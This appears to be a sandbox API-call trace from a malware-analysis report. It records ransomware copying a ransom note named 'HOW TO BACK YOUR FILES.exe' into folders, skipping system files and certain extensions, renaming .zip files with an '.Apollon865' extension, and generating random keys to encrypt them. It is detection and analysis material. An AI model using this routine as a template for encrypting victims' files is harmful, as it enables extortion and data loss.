	[0053.816] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0053.816] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.816] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0053.816] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0053.816] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0053.816] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0053.816] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0053.816] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0053.816] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0053.816] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0053.817] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0053.817] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0053.817] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
	[0053.817] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0053.817] lstrlenW (lpString="1033") returned 4
	[0053.817] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\*") returned 88
	[0053.817] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0053.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0053.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0053.817] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0053.817] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0053.817] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0053.818] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b90
	[0053.818] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033"
	[0053.818] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0053.818] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0053.818] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned 91
	[0053.818] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: lpString1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033"
	[0053.818] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.818] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0053.826] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.826] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x38283bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38283bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0053.826] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.826] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.826] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.826] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x38283bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38283bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.827] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.827] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.827] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.827] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.827] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x8b52, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AboutBox.zip", cAlternateFileName="")) returned 1
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2="Apollon865.txt.exe") returned -1
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2=".") returned 1
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2="..") returned 1
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2="windows") returned -1
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2="bootmgr") returned -1
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2="temp") returned -1
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2="pagefile.sys") returned -1
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2="boot") returned -1
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2="ids.txt") returned -1
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2="ntuser.dat") returned -1
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2="perflogs") returned -1
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2="MSBuild") returned -1
	[0053.827] lstrlenW (lpString="AboutBox.zip") returned 12
	[0053.827] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*") returned 93
	[0053.827] lstrcpyW (in: lpString1=0x2d3e608, lpString2="AboutBox.zip" | out: lpString1="AboutBox.zip") returned="AboutBox.zip"
	[0053.827] lstrlenW (lpString="AboutBox.zip") returned 12
	[0053.827] lstrlenW (lpString="Apollon865") returned 10
	[0053.827] lstrcmpiW (lpString1="outBox.zip", lpString2="Apollon865") returned 1
	[0053.827] lstrlenW (lpString=".dll") returned 4
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2=".dll") returned 1
	[0053.827] lstrlenW (lpString=".lnk") returned 4
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2=".lnk") returned 1
	[0053.827] lstrlenW (lpString=".ini") returned 4
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2=".ini") returned 1
	[0053.827] lstrlenW (lpString=".sys") returned 4
	[0053.827] lstrcmpiW (lpString1="AboutBox.zip", lpString2=".sys") returned 1
	[0053.828] lstrlenW (lpString="AboutBox.zip") returned 12
	[0053.828] lstrlenW (lpString="bak") returned 3
	[0053.828] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.828] lstrlenW (lpString="ba_") returned 3
	[0053.828] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.828] lstrlenW (lpString="dbb") returned 3
	[0053.828] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.828] lstrlenW (lpString="vmdk") returned 4
	[0053.828] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.828] lstrlenW (lpString="rar") returned 3
	[0053.828] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.828] lstrlenW (lpString="zip") returned 3
	[0053.828] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.828] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip.Apollon865") returned 115
	[0053.828] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.829] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0053.829] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=35666) returned 1
	[0053.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.829] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0053.831] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.831] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.831] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8e60, lpName=0x0) returned 0x118
	[0053.836] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8e60) returned 0x100000
	[0053.840] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0053.841] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.841] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.841] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.841] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0053.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0053.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.842] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.842] CloseHandle (hObject=0x118) returned 1
	[0053.842] CloseHandle (hObject=0x150) returned 1
	[0053.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.843] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppConfig.zip", cAlternateFileName="APPCON~1.ZIP")) returned 1
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2=".") returned 1
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2="..") returned 1
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2="windows") returned -1
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2="bootmgr") returned -1
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2="temp") returned -1
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2="pagefile.sys") returned -1
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2="boot") returned -1
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2="ids.txt") returned -1
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2="ntuser.dat") returned -1
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2="perflogs") returned -1
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2="MSBuild") returned -1
	[0053.843] lstrlenW (lpString="AppConfig.zip") returned 13
	[0053.843] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip") returned 104
	[0053.843] lstrcpyW (in: lpString1=0x2d3e608, lpString2="AppConfig.zip" | out: lpString1="AppConfig.zip") returned="AppConfig.zip"
	[0053.843] lstrlenW (lpString="AppConfig.zip") returned 13
	[0053.843] lstrlenW (lpString="Apollon865") returned 10
	[0053.843] lstrcmpiW (lpString1="Config.zip", lpString2="Apollon865") returned 1
	[0053.843] lstrlenW (lpString=".dll") returned 4
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2=".dll") returned 1
	[0053.843] lstrlenW (lpString=".lnk") returned 4
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2=".lnk") returned 1
	[0053.843] lstrlenW (lpString=".ini") returned 4
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2=".ini") returned 1
	[0053.843] lstrlenW (lpString=".sys") returned 4
	[0053.843] lstrcmpiW (lpString1="AppConfig.zip", lpString2=".sys") returned 1
	[0053.843] lstrlenW (lpString="AppConfig.zip") returned 13
	[0053.844] lstrlenW (lpString="bak") returned 3
	[0053.844] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.844] lstrlenW (lpString="ba_") returned 3
	[0053.844] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.844] lstrlenW (lpString="dbb") returned 3
	[0053.844] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.844] lstrlenW (lpString="vmdk") returned 4
	[0053.844] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.844] lstrlenW (lpString="rar") returned 3
	[0053.844] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.844] lstrlenW (lpString="zip") returned 3
	[0053.844] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.844] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip.Apollon865") returned 116
	[0053.844] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip.apollon865"), dwFlags=0x1) returned 1
	[0053.844] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0053.845] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=593) returned 1
	[0053.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.845] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0053.846] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0053.846] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.846] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x560, lpName=0x0) returned 0x118
	[0053.847] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x560) returned 0x100000
	[0053.850] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0053.851] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0053.851] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0053.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0053.851] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0053.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.852] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0053.852] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.852] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0053.852] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.852] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.852] CloseHandle (hObject=0x118) returned 1
	[0053.852] CloseHandle (hObject=0x150) returned 1
	[0053.852] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.852] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.852] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.852] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppConfigInternal.zip", cAlternateFileName="APPCON~2.ZIP")) returned 1
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2="Apollon865.txt.exe") returned 1
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2=".") returned 1
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2="..") returned 1
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2="windows") returned -1
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2="bootmgr") returned -1
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2="temp") returned -1
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2="pagefile.sys") returned -1
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2="boot") returned -1
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2="ids.txt") returned -1
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2="ntuser.dat") returned -1
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2="perflogs") returned -1
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2="MSBuild") returned -1
	[0053.853] lstrlenW (lpString="AppConfigInternal.zip") returned 21
	[0053.853] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip") returned 105
	[0053.853] lstrcpyW (in: lpString1=0x2d3e608, lpString2="AppConfigInternal.zip" | out: lpString1="AppConfigInternal.zip") returned="AppConfigInternal.zip"
	[0053.853] lstrlenW (lpString="AppConfigInternal.zip") returned 21
	[0053.853] lstrlenW (lpString="Apollon865") returned 10
	[0053.853] lstrcmpiW (lpString1="ternal.zip", lpString2="Apollon865") returned 1
	[0053.853] lstrlenW (lpString=".dll") returned 4
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2=".dll") returned 1
	[0053.853] lstrlenW (lpString=".lnk") returned 4
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2=".lnk") returned 1
	[0053.853] lstrlenW (lpString=".ini") returned 4
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2=".ini") returned 1
	[0053.853] lstrlenW (lpString=".sys") returned 4
	[0053.853] lstrcmpiW (lpString1="AppConfigInternal.zip", lpString2=".sys") returned 1
	[0053.853] lstrlenW (lpString="AppConfigInternal.zip") returned 21
	[0053.853] lstrlenW (lpString="bak") returned 3
	[0053.853] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0053.853] lstrlenW (lpString="ba_") returned 3
	[0053.853] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0053.853] lstrlenW (lpString="dbb") returned 3
	[0053.854] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0053.854] lstrlenW (lpString="vmdk") returned 4
	[0053.854] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0053.854] lstrlenW (lpString="rar") returned 3
	[0053.854] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0053.854] lstrlenW (lpString="zip") returned 3
	[0053.854] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0053.854] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip.Apollon865") returned 124
